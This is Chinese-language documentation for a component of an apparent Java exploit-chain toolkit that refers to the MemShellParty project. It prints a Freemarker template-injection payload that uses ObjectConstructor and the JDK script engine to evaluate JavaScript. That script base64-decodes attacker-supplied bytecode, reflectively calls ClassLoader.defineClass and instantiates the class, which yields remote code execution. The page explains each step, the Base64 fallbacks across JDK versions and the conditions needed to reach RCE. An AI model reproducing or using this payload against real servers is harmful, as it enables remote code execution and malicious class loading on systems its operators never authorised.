- 类别:common 别名:— 优先级:未设置(null)
- 作者:—
- 依赖:
freemarker、js(目标 JDK 内置javax.script.ScriptEngineManager的 JS 引擎,即 JDK 814 的 Nashorn / JDK 67 的 Rhino)
「表达式转换」构件(Convert 类):把内层产出的 byte[] 字节码封装成一段 Freemarker 模板字符串。与 FreemarkerConvert 不同,本类不依赖 Spring/SpEL,而是通过 Freemarker ?new 实例化 ScriptEngineManager,再用其内置 JS 引擎 eval 一段 JavaScript,在纯 JDK 环境里反射调用 ClassLoader.defineClass 加载恶意类,因而依赖更轻、绕过面更广。
- 入口
tags:Freemarker_Expr、Expression—— 声明产物是 Freemarker / 通用表达式字符串,可被会对其做 Freemarker 求值的上游 sink 承接。 - 衔接
nextTags:BytecodeConvertTag—— 内层(chain.doCreate产物)须为BytecodeConvert类构件,提供byte[]字节码。 excludes:无。
模板与填充逻辑:
public static String FreemarkerTemplate2 =
"${'freemarker.template.utility.ObjectConstructor'?new()" +
"('javax.script.ScriptEngineManager').getEngineByName('js')" +
".eval('var classLoader = java.lang.Thread.currentThread().getContextClassLoader();" +
"var className = \"%s\";var base64Str = \"%s\"; ... " +
"var defineClass = clsClassLoader.getDeclaredMethod(\"defineClass\", [clsByteArray, clsInt, clsInt]);" +
"defineClass.setAccessible(true);" +
"var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), " +
"new java.lang.Integer(bytecode.length)); clazz.newInstance();')}";
private String getObject(byte[] bytecode, String className) {
String bytecodeB64 = Base64.encodeBase64String(bytecode);
return String.format(FreemarkerTemplate2, className, bytecodeB64);
}逐段解释内嵌的 JS(Freemarker eval 的字符串参数):
var classLoader = Thread.currentThread().getContextClassLoader();取当前线程上下文类加载器作为defineClass的宿主。- 先
classLoader.loadClass(className).newInstance()尝试直接实例化(若类已存在则短路);否则进入catch走字节码定义。 - Base64 解码采用三级兜底:优先
java.util.Base64$Decoder,失败退到javax.xml.bind.DatatypeConverter.parseBase64Binary,再失败退到sun.misc.BASE64Decoder——覆盖不同 JDK 版本对 Base64 API 的取舍。 - 反射取
java.lang.ClassLoader.getDeclaredMethod("defineClass", byte[].class, int.class, int.class),setAccessible(true)后invoke(classLoader, bytecode, 0, bytecode.length)定义类,最后clazz.newInstance()触发其构造/静态块执行 payload。 %s两处分别填className与bytecodeB64。
invoke 与 FreemarkerConvert 完全一致:
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
Object bytecode = chain.doCreate(context); // 内层字节码
String className = context.getString(ContextTag.CLASS_NAME_KEY); // 类名
return this.getObject((byte[]) bytecode, className);
}先驱动内层拿 byte[],从上下文 CLASS_NAME_KEY 取类名,返回一段可被 Freemarker 求值的字符串。头部 Could not load ... Base64 为缺依赖的正常反编译提示。
本类无 @Param。类名由 CLASS_NAME_KEY 注入,字节码由内层 BytecodeConvert 提供,模板为写死的 public static 字段。
- 参考:
https://github.com/ReaJason/MemShellParty。 - 依赖
freemarker+ 目标 JDK 具备可用的 JS 脚本引擎:JDK 8~14 的 Nashorn 可用;JDK 15 起 Nashorn 被移除,需环境自带 JS 引擎才可用(与 JsConvert 的版本约束一致)。 - 相比 FreemarkerConvert 免 Spring 依赖,仅需 JDK 自带脚本引擎;Base64 三级兜底提升跨版本鲁棒性。
- 同样需要一个会用 Freemarker 求值本字符串的上游 sink 才能完成 RCE。
无。自由构件,未直接出现在 51 条预设链中。
- 内层(
nextTags=BytecodeConvertTag):BytecodeConvert 及其变体,向内接字节码 sink(如Exec)。 - 同族表达式转换:FreemarkerConvert、GroovyConvert、Groovy2Convert、JsConvert。